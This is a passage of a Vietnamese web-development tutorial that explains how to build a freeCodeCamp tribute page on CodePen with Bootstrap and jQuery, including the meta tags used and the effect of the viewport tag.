codepen</h2> <p><a href="https://codepen.io/completejavascript/pen/baOYpa"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/baOYpa/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <h2 id="một-số-điểm-cần-ghi-nhớ" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-%C4%91i%E1%BB%83m-c%E1%BA%A7n-ghi-nh%E1%BB%9B" aria-label="một số điểm cần ghi nhớ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số điểm cần ghi nhớ</h2> <h3 id="các-thư-viện-sử-dụng" style="position:relative;"><a href="#c%C3%A1c-th%C6%B0-vi%E1%BB%87n-s%E1%BB%AD-d%E1%BB%A5ng" aria-label="các thư viện sử dụng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các thư viện sử dụng</h3> <p>Ngoài HTML, CSS, <a href="/javascript-la-gi/">JavaScript</a>, mình sử dụng thêm 2 thư viện khác là: Bootstrap (CSS) và jQuery (js). Để thêm chúng vào project trên codepen, bạn làm như sau:</p> <ul> <li>Bootstrap CSS: <strong>Setting / CSS / Quick-add / Bootstrap 3</strong></li> </ul> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 603px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 113.33333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAXCAIAAACEf/j0AAAACXBIWXMAAAsTAAALEwEAmpwYAAADFElEQVQ4y42T6Y6kNhSFef8XyPqnE02kyTNMpCj506nurq7pquqi2MEL3jCLwYYCigiYpTXJdPLp6MrWRTrXx9j6a7NJkiQIAs/z4jhGCMH/AgCAMT6fz9bxeNztdvv9/v7+frPZuK47TdP1ep2+ztpVSlkAgLIslVKMMaWUlFKpummasizrujbGVAvGmMtHuq4bx7EsSytJknqBc7422rYdhqFt56/HcWwXxnH8wr8oCst13efn58Ph6Dju6XS6XPppmsbxuoz3ef7r9TouDMOwzux5nsUYEyLr+35pX/t+6GfWui6GF4tZwzBqbTBOLUop51wI8cLkczD/yjRNfd+naWphjH3f9zzPGNN1nTHGtJ3Wuuu6VwLv+x5jbOV53vd9Xc8Ja6110zSmrapKa/36VVVVZUEIbdv2fd+27SWwy/Q/MMaEYWhJKeu6zhe0NkqpsiybpskrxTlXSi3hj6vby2PPzpTS9a8khAAAEEJgoWmaV5wvlwtC6ENgrut4nuf7vuM4tm27jkMIWafI81xKWRaFlLJYalVVeZ7PaUOEgiB0FzzPd1zXcT3KGGMcIoRxCiFK5olwmhKEMUQIQCiEKMrSgimWgnJGOEs5SwUnUrBaFbUqTaOMfqGPW92o1tRC8NkZxj7FMSeApXGKIoJiDAIMAslQldNKfqlSkrrglKRWEIZJYP/x+7vvv/3mxx++Ox12OPFB6MLoqwKhAyMXI2hhSjPBPPf8frfdv39MIj9FCYIRAhGCMUYJRmv9IAQTgkHGKWfMIoyXhcQwZAQyAmEcYBjBJPgkEAcwDhAIQRwkkZdEXgojwSkhxGJClHmWwjhFSYpimgKKAcEJBhHFSZHRVbkgVc5NXei60CqvVZllmcUzUatKcCI4FXw+AmdEMCIznktRV4VShapy3VScktPz4Wwf7dPBdc/zPfNMXrqLMebTk9TatG33z5fg+/7Nzc9v3/765s0vNzc/7fd768/b27vN5reZd3f3d0+P26eHzf5x+/Cwvb/bPG4ftvun293u7Di+7weBHy0kAByOx78B4P36Vpl1/CIAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="freecodecamp - build a tribute page - setting css at completejavascript - completejavascript.com" title="freecodecamp - build a tribute page - setting css at completejavascript - completejavascript.com" src="/static/4ccf9dfcbd42be4888a689ef55c123e8/85b8d/freecodecamp-setting-css.png" srcset="/static/4ccf9dfcbd42be4888a689ef55c123e8/103f2/freecodecamp-setting-css.png 165w, /static/4ccf9dfcbd42be4888a689ef55c123e8/748ba/freecodecamp-setting-css.png 330w, /static/4ccf9dfcbd42be4888a689ef55c123e8/85b8d/freecodecamp-setting-css.png 603w" sizes="(max-width: 603px) 100vw, 603px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <ul> <li>jQuery JS: <strong>Setting / JavaScript / Quick-add / jQuery</strong></li> </ul> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 606px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 96.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAIAAAAf7rriAAAACXBIWXMAAAsTAAALEwEAmpwYAAACrElEQVQ4y42T246kNhCGef8n2KxG2Vz3C0SKlIud0WxWO9F0NAegaQ7G2AZsAzbGxs1pIkC76aySKJ9+oRKuon6bsnM4HMIw9H3fdV3P86IoShIAQLorTdPr+BoAgPPx9tb3Pdd1j8fj4+Oj67rLsrz9P5z7T/fzPBtjrLXGGLQhhGg3+r5XSkkptdbjOA5fGcdxWRbn9u5uGAYhRF3XVVXFcZwkSd/3wzBYa+dlGS4Xa+00Tdc9p2kax9H58uUhiiLf8wAAybYzkufzV+fLVTBvmub57e2tbpqKV05wPkspjTF7xrItXzZn/6ZxmvaNOL7vn8/n19dXz/OSJDkej4SQ657fsb9v27auaycIAmMM55xuKKXattVai415M/nN1Hcfdc7nM6UUQlgUBdlACGmt//snGaOVUqttkKae551Op/XkNgjJjTFqQ0qpVLcbkW0rhFBK9X1vrV2LK87KsiAEY4wYpXlOMEYYI5RlGKM0XecLwhSAJMsgAAkti3G4rLaDIKAFLglsG1ozUmDIS8xLTAskG9q1VSerTvLt+ZdETfverJ0xjP2X46+//Pz48BtOQxifMhDA+JSjhJL0H5SnOUq07pzjy0vFipfnPw6Hw6f7O5pnCMY4S3CWIBh/U5bG6Eo4A9b2zsPT02AtypKKkYJkEIR7WZZGCMYEgb0YZ4lsWCt4K7iSvOJMa+M8PD1bo/c8nCUFgTlOc5wSBHKUckpYiStKOCU1y2te7OKs7Put83ixtMCcElogVmK2pZb5Gqu1T6Vk1QretXXfCdPJXgtjunGcnN+fny/WCiG0MdM2PkprKeU6TH8fydMpePfuhw8ffrq5+fH9+xsIM+fj5891xfM8p7SsOFsvCy0rxlQrm6ZumlqIpmrWwWCMhWEYRXEURmEYMsb+BHXCF9x3jtgFAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="freecodecamp - build a tribute page - setting javascript at completejavascript - completejavascript.com" title="freecodecamp - build a tribute page - setting javascript at completejavascript - completejavascript.com" src="/static/c27764b58ef78433b0c8c61f290d5c5b/cec09/freecodecamp-setting-javascript.png" srcset="/static/c27764b58ef78433b0c8c61f290d5c5b/103f2/freecodecamp-setting-javascript.png 165w, /static/c27764b58ef78433b0c8c61f290d5c5b/748ba/freecodecamp-setting-javascript.png 330w, /static/c27764b58ef78433b0c8c61f290d5c5b/cec09/freecodecamp-setting-javascript.png 606w" sizes="(max-width: 606px) 100vw, 606px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="thông-tin-cho-thẻ-head-của-html" style="position:relative;"><a href="#th%C3%B4ng-tin-cho-th%E1%BA%BB-head-c%E1%BB%A7a-html" aria-label="thông tin cho thẻ head của html permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thông tin cho thẻ &#x3C;head> của html</h3> <p>Phần HTML trên codepen chỉ bao gồm nội dung trong thẻ body. Vì vậy, nếu bạn muốn thêm thông tin vào thẻ <head> như <strong>meta</strong>, <strong>link</strong>, <strong>script</strong>... thì bạn chọn <strong>Setting / HTML / Stuff for &#x3C;head></strong>, sau đó thêm nội dung bạn muốn.</p> <p>Đối với project này, mình chỉ thêm vào các thẻ <strong>meta</strong>:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 607px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 87.87878787878788%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAIAAADUsmlHAAAACXBIWXMAAAsTAAALEwEAmpwYAAACXklEQVQ4y5WS227aQBRF/f8fEDUB2m9IlSKFKnlppLSNCAQM9tiOb/g6Y+buARtsV05emlap6NJ62POwdY6ORhsMBre3t+Px+Pr6ejL5OplMrq6+nOD48vKzNpvNgeVswmD+9LTS9SRJu562OwFttdI934d5DiFK0iSKorIslSqFELIPSkophFRK7d+y2+209WrVF1TZNm3TNFW1l1LWVcWFUEodDnXfFbKu6z/G1nWtrZZLwzQNY20Y5nq9DsLwlIWVUmmaan4QpEmqlDo2TV0fmp62quq6Pvzmm+fx2DDGIYRaEAS27bie77pelueu6xXFtr9Y+64vk3evZT/wXM91HBvEUei7zyjPdkqqUrznTklGMUJQi+NIcoyyCMO0gEkWhxRDUmT/EKOU4byUXAvDcBOGEKIsyxEqutOoqmq73fZr2zYAwFgbK8syYZ5BmBGy5YIJyaXklBFKMaWEc8oYIbjoAyUIIS2ONqG9NucPlj5zjIW5mBqzB1uf9+Hnnbt8BPd34eLx+fFH7FmOsUw2bpFHW5QWRaFFm9A3l/Ziaj1NXX0WLqcJ0H2wCkzd12fu7CG21yjyYODgbAM3LinSncAoj9M005IkLiXFWyg4rgTd06JSvNqLai93SjBaMFpQDClBlCCCIcWQ04IzzLnQvt1/vzgfDIejwfDj+WB4MRyNRp8uBsOzsw83Nzdd1x2Px+Yv2rbtv+fSBJbtGACYlm0CywTAsvtgmCBJkn8cvC8Hcdx1XdO23X9yOBw0HQAlS4IJpZQQzAjmjApGOWf0FcYwpeIF9gLvERiTXyZ329O6hVxVAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="freecodecamp - build a tribute page - setting html at completejavascript - completejavascript.com" title="freecodecamp - build a tribute page - setting html at completejavascript - completejavascript.com" src="/static/45108611461186a02e98b63cca615615/f521d/freecodecamp-setting-html.png" srcset="/static/45108611461186a02e98b63cca615615/103f2/freecodecamp-setting-html.png 165w, /static/45108611461186a02e98b63cca615615/748ba/freecodecamp-setting-html.png 330w, /static/45108611461186a02e98b63cca615615/f521d/freecodecamp-setting-html.png 607w" sizes="(max-width: 607px) 100vw, 607px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">charset</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>UTF-8<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>description<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>A tribute page for Brendan Eich - founder of JavaScript<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>keywords<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>fcc, freecodecamp, tribute page, brendan eich, javascript, bootstrap, jquery, html5, css3<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>author<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Lam Pham<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>viewport<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>width=device-width, initial-scale=1.0<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span></code></pre></div> <p>Trong đó:</p> <ul> <li><em>charset="UTF-8"</em>: chỉ ra kiểu mã hoá kí tự cho Unicode là UTF-8</li> <li><em>name="description"</em>: mô tả ngắn về nội dung trang web</li> <li><em>name="keywords"</em>: các từ khoá của trang web</li> <li><em>name="author"</em>: tên tác giả</li> <li><em>name="viewport"</em>: xác định viewport (vùng nhìn thấy) của trang web. Thông số <strong><em>width=device-width</em></strong> để chỉ ra rằng chiều rộng của trang bằng với chiều rộng của màn hình. Và thông số <strong><em>initial-scale=1.0</em></strong> xác định mức độ zoom khi trang web được load lần đầu tiên, ở đây <em>1.0</em> tức là không zoom.</li> </ul> <p>Mục đích của việc xác định viewport để làm cho trang web trở nên responsive. Hình ảnh sau đây cho thấy sự khác nhau của 2 trường hợp: có thẻ meta viewport và không có thẻ này.</p> <p>Có thẻ meta viewport:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 418px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 176.96969696969694%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,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'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="freecodecamp - build a tribute page - setting viewport at completejavascript - completejavascript.com" title="freecodecamp - build a tribute page - setting viewport at completejavascript - completejavascript.com" src="/static/7f5f78edb43f1910f6904b9e6947dc8d/2bbac/freecodecamp-setting-viewport.png" srcset="/static/7f5f78edb43f1910f6904b9e6947dc8d/103f2/freecodecamp-setting-viewport.png 165w, /static/7f5f78edb43f1910f6904b9e6947dc8d/748ba/freecodecamp-setting-viewport.png 330w, /static/7f5f78edb43f1910f6904b9e6947dc8d/2bbac/freecodecamp-setting-viewport.png 418w" sizes="(max-width: 418px) 100vw, 418px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Không có thẻ meta viewport:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 420px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 175.75757575757575%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAjCAIAAAAblL1PAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFDUlEQVRIx32UW1AaVxyHmUniZNLkqZ2+dzp98Sn00ZlWnfalmWln2kpqrFFCYo3pmGaScZrbxNSYtlEkkwpUbssugly0iBo1QS4BBBQjwXgBdYElhAgsC8vNCWkKnSy5EGbNN7+Hc3bOd/ac/9mzFBqNVllZSaVSD76CSqV++gpqCaUDKisraTQaxel02mw2ewlms9loNJhMJqPRaDKZzGazyWSyWCy2EqxWq9PppOTz+cLbZDKZOIZl0qlEAo9GIqlUCkXRSBQtG5bP5ynb29tPS8hmsziOp1IpPJlMvSKZTOI4nnwbHE9Snj9/XjpfLpeLxWIYhiUSCRzHMQyLlYBhWDwef90mkYtmJBJBEATH8SxBJpMpLgrDsGI3nU6TyCiKZrNZq9UqkUj0ev3c3JzZbLZarXa73Wg0arVaC8HCwgK5vL29bbFYlEolBEGjo6NcLletVkskkuHhYaVS2dPTo1AotFrtjsve2tra2NgIh8MYhiEIgkbRWAyFYdjvR7xebzQSQVGUvGA4jgceBTZheBOG19bW/H6fz+d94HIFg489HrfH44Fhr9fr3VEOBh+5XEuupaWHD5c9Ho/b7X7gcq2vr6+srq6trcIwHEAQcjmZTPp83kXnotO56FpaWnK5lpdX3O7VhXnH8spKMplMp18cPvme4/F4IpGIF0OQIM49QXQxgng8TiK/NItOPI4nEkXpTYgneCJRLj/N5aIoihJfUBRFQ+FwcCv8OByORKMxDHtRcSKhSCQUibyR/yNuiOtRsHVQek453DYoO6Ma6dXqhLPWWwbjr6NjJwelZ+TKMwrlL3LF9YlJ1byjXHb4kLoB/hG+sGtyWjtvn5mZUsnB2xNqndXSbzA2CIEmkfiIQHRvdTUYQMrl+0jg637OTZ3BZtZDHGZn+9Hetm8dMpZuiGeYHJXZ7A0C4EeBaG4TfprNlMs22Nsik8/aZ3nMLg7rd1Z7nZV9Nm2U4A90nL7rZu3tP+5ov+cOOAOBQqFQLpvWN2/N6MdlYnZPF/dGZ197vbr7Z7vw2vK0TMxhSti9E/PzdTwBuWzz+UG9bpDb18+8zu48N9jROHalxa3of2KQD/FYnJ6rdy336JB0we8nlRFQr4PYTC6zm83sBs83ay7RQxoRPA3193Zzb1ydMhmOSXaQTRubt2Z0Gqmoo/2nQ4e+UvFY/1ym+8f5kxCbee2SoK973G6n8YTky7ZubJ4eUQ+pVAf279+1e9f5Cxfnp9UGblcfi3Pq9Nmp0RGmVvfdTgW77w98w+b+pTdcvtL5wfsffvTxJyajxTKmvnD+WseVXoXd0SgCGgQictnhRw4P8BtFAEtv5CuHj7e0DqtGwlFsZtbWr51pEkNNInETAF5Ua6T2ORKZNsA/DkoO/81rHZJ337n759R059j4Kbmyni+kAyBdDDUKAcgy6/Csk8vHxBBdDB0VAj8M8Ov5wnq+sFEI0MVQMwDSAbBBIFqA4XQstqPcDIDF0Evab2Sfn3zPZXJZivIiQhQsl8v9S5B79qxQKMzB3jruAF0kbhICpGkWAkd4AofXW8jnKa9/Ay/vc+hJPQCekMkZ0iHSHJcONUmkrlDoxZs1Gg0AABAEgSAol0q7WDc/O9HyZdupL0627ZTa1pO/MfsmJyYoVCqVQqFUVFTsJqjYs+e9vXvfnQP79lEolINUKoXBYFRVVdXW1tYQVNfUfF5d/e5U19RUVVUxGIz/AUUWEYg5ASQ+AAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="freecodecamp - build a tribute page - setting with no viewport at completejavascript - completejavascript.com" title="freecodecamp - build a tribute page - setting with no viewport at completejavascript - completejavascript.com" src="/static/971abefd220089db16170c1c604270ae/b0db9/freecodecamp-setting-no-viewport.png" srcset="/static/971abefd220089db16170c1c604270ae/103f2/freecodecamp-setting-no-viewport.png 165w, /static/971abefd220089db16170c1c604270ae/748ba/freecodecamp-setting-no-viewport.png 330w, /static/971abefd220089db16170c1c604270ae/b0db9/freecodecamp-setting-no-viewport.png 420w" sizes="(max-width: 420px) 100vw, 420px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Chi tiết cho phần nội dung của HTML và CSS mình sẽ không trình bày trong khuôn khổ của trang web này. Nếu bạn chưa biết gì về Bootstrap thì có thể tham khảo tại <a href="https://www.tutorialspoint.com/bootstrap/index.htm">đây</a>.</p> <h2 id="xử-lý-logic-với-jquery" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-logic-v%E1%BB%9Bi-jquery" aria-label="xử lý logic với jquery permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý logic với jQuery</h2> <p>Trước tiên, mình muốn giải thích lý do tại sao lại chọn <a href="https://jquery.com/">jQuery</a> thay vì nhiều thư viện JavaScript khác. Đơn giản, chương trình của freeCodeCamp bắt đầu với HTML5, CSS , Bootstrap và jQuery. Trong khi Bootstrap phục vụ mục đích Responsive thì jQuery dùng để xử lý phần logic - cụ thể đó là để xử lý hoạt động của menu (collapse) ứng với thiết bị là điện thoại.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 421px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 175.75757575757575%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAjCAIAAAAblL1PAAAACXBIWXMAAAsTAAALEwEAmpwYAAAGi0lEQVRIx5XTe0xb1x0H8Cs1ThgtadKpqtppYtkfk9gfWZG2rGkV1vBYt05bsjA2iOiAhpimtGSDLjxsYmzj5/UTP69fJY4BG+PHNfj9iDFJTchoO5ZmgShmzCSODde+vsZuwx/JdE0TbdUiLR8dHf3O0e97rnTvuUBDQ0NFRUVl5as/Kjp48ODj4kkqKysrKioaGhqAaDTqdru9Xq/H4/H5vH6/3+vF52Aw9D8Fg0GHw2Gz2aLRKLC9vb2RSiHpNIqiqWRyY3MTQZB4PP7V/fsPn+D27dvLy8sPHjwAMAwrFAr5fD6Xy21tbe3MWDabe7J0EYZhQDJ5b3l5eXV19V4yee//kyx2plIpIJVMrsZi8fh68inh4UIhv1n05VMqFApAoVDIYrivnhIezufzGzj8yfefYLvoG5t4eGtrC0GQzU0Ey2Jb+TyGZXegKP7CMQzL5XL4Gt9Hd2oUxQs8jCDI2tpaLBa7tbKyGovFbsfWcXfW1tYSicTdu3cTicR6PL5+5048Hk8kEvF4PP4vvEBRFEilkovXFpauX1/622dXry4sLf1958JkMmgmkykW+LzjUZ3JZDLpdBpIp9MIguBfvbhGHkn/B+Qb0l83AFg2i6Ho45HLonksm8NPx0NpBEEz6RyKbmHZXPa/BpbNAvJgiGyzU2HHEOygOaYpdrhvyjLkmOH7g8rZiDIc4fuDQ9MzfVMWih2mOaaHYAcVdpBtdnkwBJwzW+oVUJNa06TSHpcqWvWGkWDIFpn1BH2+gNsXcHuCPlskLAldar1gOC5TNKm1TSpNvQI6Z7YAgza4WaM7NapvUmtBf3BuYd4zZRhXCtVCJr3/Q0Z/p07MmFCNuMwXL1+7CvqCTWrtqVF9s0Y3aIMBstXerNE1qjTycOTyJZ9WyFTwh6U8enfLb3ob39SR2xcnJTcD5lEZqBEyPwn75eHZRpWmWaMjW+3AeRt8Qq7kegO